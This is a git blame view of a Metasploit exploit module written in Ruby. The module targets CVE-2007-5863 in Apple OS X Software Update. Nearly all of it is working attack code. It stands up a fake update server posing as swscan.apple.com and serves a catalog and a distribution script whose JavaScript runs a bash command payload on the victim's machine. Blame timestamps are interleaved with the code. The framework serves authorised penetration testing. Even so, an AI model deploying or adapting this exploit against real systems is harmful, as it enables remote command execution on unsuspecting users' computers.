Files
metasploit-gs/modules/exploits/osx/browser/software_update.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

147 lines
4.5 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpServer::HTML
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple OS X Software Update Command Execution',
'Description' => %q{
This module exploits a feature in the Distribution Packages,
which are used in the Apple Software Update mechanism. This feature
allows for arbitrary command execution through JavaScript. This exploit
provides the malicious update server. Requests must be redirected to
this server by other means for this exploit to work.
},
'Author' => [ 'Moritz Jodeit <moritz[at]jodeit.org>' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2007-5863'],
['OSVDB', '40722'],
],
'Payload' =>
{
'BadChars' => "\x00",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic perl ruby bash telnet bash-tcp',
}
},
'Platform' => 'osx',
'Targets' =>
[
[
'Automatic',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
},
],
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2007-12-17',
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
])
end
2013-08-30 16:28:54 -05:00
# Encode some characters using character entity references and escape any
# quotation characters, by splitting the string into multiple parts.
def encode_payload(payload)
encoded = payload.gsub(/[&<>"']/) do |s|
case s
2008-09-22 15:52:18 +00:00
when '&'
"&amp;"
when '<'
"&lt;"
when '>'
"&gt;"
when '"'
2008-09-22 15:52:18 +00:00
'"+\'"\'+"'
when '\''
2008-09-22 15:52:18 +00:00
"&apos;"
end
end
return '"' + encoded + '"'
end
2013-08-30 16:28:54 -05:00
# Generate the initial catalog file with references to the
# distribution script, which does the actual exploitation.
def generate_catalog(server)
languages = [ "", "Dutsch", "English", "French", "German", "Italian", "Japanese",
"Spanish", "da", "fi", "ko", "no", "pt", "sv", "zh_CN", "zh_TW" ]
productkey = rand_text_numeric(3) + "-" + rand_text_numeric(4)
distfile = rand_text_alpha(8) + ".dist"
2013-08-30 16:28:54 -05:00
sucatalog = '<?xml version="1.0" encoding="UTF-8"?>'
sucatalog << '<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'
sucatalog << '<plist version="1.0">'
sucatalog << '<dict>'
sucatalog << '<key>Products</key><dict>'
sucatalog << "<key>#{productkey}</key><dict>"
sucatalog << '<key>Distributions</key><dict>'
2013-08-30 16:28:54 -05:00
languages.each do |l|
sucatalog << "<key>#{l}</key><string>http://#{server}/#{distfile}</string>\n"
end
2013-08-30 16:28:54 -05:00
sucatalog << '</dict></dict></dict></dict></plist>'
2013-08-30 16:28:54 -05:00
return sucatalog
end
2013-08-30 16:28:54 -05:00
# Generate distribution script, which calls our payload using JavaScript.
def generate_dist(payload)
func = rand_text_alpha(8)
2013-08-30 16:28:54 -05:00
dist = '<?xml version="1.0" encoding="UTF-8"?>'
dist << "<installer-gui-script minSpecVersion='1'>"
dist << '<options allow-external-scripts = "yes"/>'
dist << "<choices-outline ui='SoftwareUpdate'>"
dist << "<line choice='su'/>"
dist << "</choices-outline>"
dist << "<choice id='su' visible ='#{func}()'/>"
dist << "<script>"
dist << "function #{func}() { system.run('/bin/bash', '-c', #{encode_payload(payload)}); }"
dist << "</script>"
dist << "</installer-gui-script>"
2013-08-30 16:28:54 -05:00
return dist
end
2013-08-30 16:28:54 -05:00
def on_request_uri(cli, request)
date = Time.now
server = "swscan.apple.com"
2013-08-30 16:28:54 -05:00
header = {
'Content-Type' => 'text/plain',
'Last-Modified' => date,
'Date' => date,
}
2013-08-30 16:28:54 -05:00
if request.uri =~ /\.sucatalog$/
2012-04-20 13:31:42 -06:00
print_status("Sending initial distribution package")
body = generate_catalog(server)
elsif request.uri =~ /\.dist$/
2012-04-20 13:31:42 -06:00
print_status("Sending distribution script")
return if ((p = regenerate_payload(cli)) == nil)
body = generate_dist(p.encoded)
else
return
end
send_response(cli, body, header)
handler(cli)
end
2009-05-13 17:39:42 +00:00
end